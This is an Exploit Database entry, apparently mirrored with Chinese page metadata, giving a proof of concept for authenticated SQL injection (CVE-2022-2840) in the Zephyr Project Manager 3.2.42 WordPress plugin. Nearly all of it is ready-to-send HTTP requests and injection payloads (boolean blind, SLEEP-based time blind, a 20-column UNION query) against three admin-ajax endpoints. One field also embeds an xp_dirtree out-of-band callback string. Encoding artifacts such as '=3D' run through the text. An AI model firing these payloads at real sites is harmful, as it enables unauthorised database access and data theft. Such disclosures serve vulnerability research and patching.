WordPress Plugin Zephyr Project Manager 3.2.42 – Multiple SQLi

• Exploit Database
• 15 阅读

• 作者： Rizacan Tufan
  日期： 2022-10-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51024/

• # Exploit Title: WordPress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi
  # Date: 14-08-2022
  # Exploit Author: Rizacan Tufan
  # Blog Post: https://rizax.blog/blog/wordpress-plugin-zephyr-project-manager-multiple-sqli-authenticated
  # Software Link: https://wordpress.org/plugins/zephyr-project-manager/
  # Vendor Homepage: https://zephyr-one.com/
  # Version: 3.2.42
  # Tested on: Windows, Linux
  # CVE : CVE-2022-2840 (https://wpscan.com/vulnerability/13d8be88-c3b7-4d6e-9792-c98b801ba53c)
  
  # Description
  
  Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks.
  
  It has been determined that the data coming from the input field in most places throughout the application are used in=20
  the query without any sanitize and validation.
  
  The details of the discovery are given below.
  
  # Proof of Concept (PoC)=20
  
  The details of the various SQL Injection on the application are given below.
  
  ## Endpoint of Get Project Data.
  
  Sample Request :=20
  
  POST /wp-admin/admin-ajax.php HTTP/2
  Host: vuln.local
  Cookie: ...
  ...
  Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_projects
  Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 74
  Origin: https://vuln.local
  Sec-Fetch-Dest: empty
  Sec-Fetch-Mode: cors
  Sec-Fetch-Site: same-origin
  Te: trailers
  
  action=3Dzpm_view_project&project_id=3D1&zpm_nonce=3D22858bf3a7
  
  Payload :=20
  
  ---
  Parameter: project_id (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: action=3Dzpm_view_project&project_id=3D1 AND 4923=3D4923&zpm_nonce=3D22858bf3a7
  
  Type: time-based blind
  Title: MySQL >=3D 5.0.12 OR time-based blind (query SLEEP)
  Payload: action=3Dzpm_view_project&project_id=3D1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=3D22858bf3a7
  
  Type: UNION query
  Title: Generic UNION query (NULL) - 20 columns
  Payload: action=3Dzpm_view_project&project_id=3D-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=3D22858bf3a7
  ---
  
  
  ## Endpoint of Get Task Data.
  
  Sample Request :=20
  
  POST /wp-admin/admin-ajax.php HTTP/2
  Host: vuln.local
  Cookie: ...
  ...
  Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks
  Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 51
  Origin: https://vuln.local
  Sec-Fetch-Dest: empty
  Sec-Fetch-Mode: cors
  Sec-Fetch-Site: same-origin
  Te: trailers
  
  task_id=3D1&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7
  
  Payload :=20
  
  ---
  Parameter: task_id (POST)
  Type: time-based blind
  Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)
  Payload: task_id=3D1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7
  ---
  
  ## Endpoint of New Task.
  
  Sample Request :=20
  
  POST /wp-admin/admin-ajax.php HTTP/2
  Host: vuln.local
  Cookie: ...
  ...
  Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks
  Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 337
  Origin: https://vuln.local
  Sec-Fetch-Dest: empty
  Sec-Fetch-Mode: cors
  Sec-Fetch-Site: same-origin
  Te: trailers
  
  task_name=3Dtest&task_description=3Dtest&task_project=3D1&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Dtest&type=3Ddefault&recurrence%5Btype%5D=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7
  
  Payload :=20
  
  ---
  Parameter: task_project (POST)
  Type: time-based blind
  Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)
  Payload: task_name=3Dtest&task_description=3Dtest&task_project=3D1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Drrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=3Ddefault&recurrence[type]=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7
  ---